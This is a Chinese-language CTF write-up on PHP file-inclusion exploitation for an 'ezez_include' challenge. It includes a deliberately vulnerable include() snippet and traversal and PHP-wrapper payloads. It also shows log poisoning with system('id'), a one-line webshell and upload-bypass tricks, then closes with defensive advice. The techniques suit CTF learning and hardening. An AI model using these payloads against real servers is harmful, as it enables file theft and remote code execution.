1. 题目背景与漏洞分析
这道来自SWPUCTF 2025秋季新生赛的"ezez_include"题目,考察的是Web安全中经典的文件包含漏洞利用。从题目名称和搜索热词可以判断,这应该是一个结合文件上传和文件包含的综合题型。这类题目在CTF比赛中非常常见,主要测试选手对服务器端文件处理逻辑的绕过能力。
文件包含漏洞通常发生在PHP应用中,当开发者使用include、require等函数时,未对用户输入进行严格过滤。攻击者可以通过构造特殊路径,读取或执行服务器上的敏感文件。在实际渗透测试中,文件包含漏洞往往能与其他漏洞(如文件上传)形成组合拳,最终获取服务器权限。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与初步测试
2.1 本地测试环境配置
为了更好地理解题目,我们可以先搭建一个本地测试环境:
- 安装PHP环境(推荐使用XAMPP或Docker)
- 创建以下文件结构:
- index.php(主入口文件)
- uploads/(上传目录)
- includes/(包含文件目录)
- 在index.php中模拟文件包含功能:
php复制<?php
$file = $_GET['file'];
include('/var/www/html/includes/' . $file);
?>
2.2 基础文件包含测试
尝试以下payload观察响应:
?file=../../../../etc/passwd(经典目录遍历)?file=php://filter/convert.base64-encode/resource=index.php(PHP伪协议读取源码)?file=data://text/plain,<?php phpinfo();?>(数据流执行代码)
3. 第一种解题思路:日志污染+RCE
3.1 利用Apache日志文件
当直接文件包含受阻时,可以尝试包含服务器日志:
- 首先确定日志路径(常见于/var/log/apache2/access.log)
- 通过User-Agent或Referer注入PHP代码
- 包含日志文件触发代码执行
具体步骤:
bash复制curl -A "<?php system('id');?>" http://target.com
然后包含日志文件:
code复制?file=../../../../var/log/apache2/access.log
3.2 绕过过滤的技巧
如果遇到基础过滤,可以尝试:
- 使用双重编码:
%252e%252e%252f代替../ - 空字节截断:
evil.jpg%00(PHP<5.3) - 超长路径绕过:
././././[...]/./file
4. 第二种解题思路:文件上传+包含组合
4.1 上传Webshell
- 准备一个简单的PHP webshell:
php复制<?php system($_GET['cmd']);?>
- 寻找文件上传点,尝试上传该文件
- 常见的上传绕过技巧:
- 修改Content-Type为image/jpeg
- 添加GIF头
GIF89a - 使用双扩展名
shell.php.jpg
4.2 定位上传文件路径
上传成功后,需要确定文件存储路径:
- 尝试常见路径:/uploads/、/tmp/、/var/www/html/uploads/
- 通过报错信息泄露路径
- 使用目录爆破工具(如dirsearch)
4.3 包含上传的Webshell
找到文件路径后,通过文件包含执行:
code复制?file=../../../../tmp/uploads/shell.php
然后通过cmd参数执行命令:
code复制?file=shell.php&cmd=ls -la
5. 高级利用技巧
5.1 PHP伪协议利用
当直接文件包含被禁止时,PHP伪协议往往能绕过限制:
php://filter/convert.base64-encode/resource=index.php(读取源码)php://input+ POST发送PHP代码(需要allow_url_include=On)zip://evil.zip#shell.php(配合文件上传)
5.2 使用蚁剑连接
获取webshell后,可以使用蚁剑进行可视化操作:
- 在蚁剑中添加目标URL
- 设置连接密码(与webshell中的一致)
- 文件管理、数据库操作等高级功能
注意:实际CTF比赛中通常禁止使用自动化工具,这些技巧更适合实际渗透测试场景。
6. 防御方案
作为开发者,应该采取以下措施防止此类漏洞:
- 避免直接包含用户输入,使用白名单机制
- 设置open_basedir限制文件访问范围
- 禁用危险PHP配置:
- allow_url_fopen=Off
- allow_url_include=Off
- 对上传文件进行严格检查:
- 文件内容检测(不仅是扩展名)
- 随机重命名上传文件
- 存储在Web根目录外
7. 比赛中的实战技巧
在CTF比赛中遇到这类题目时:
- 首先检查robots.txt、.git等常见信息泄露源
- 尝试包含/proc/self/environ获取环境变量
- 查看phpinfo()信息(如果有上传点,可以上传phpinfo文件)
- 尝试包含session文件(需要知道PHPSESSID)
- 使用短标签
<?=绕过某些过滤
我在实际解题中发现,很多题目会在文件路径前添加固定前缀或后缀,这时需要巧妙地使用路径截断或相对路径跳转。例如当代码是include('pages/'.$file.'.php')时,可以尝试?file=../../../../etc/passwd%00来截断后面的.php。
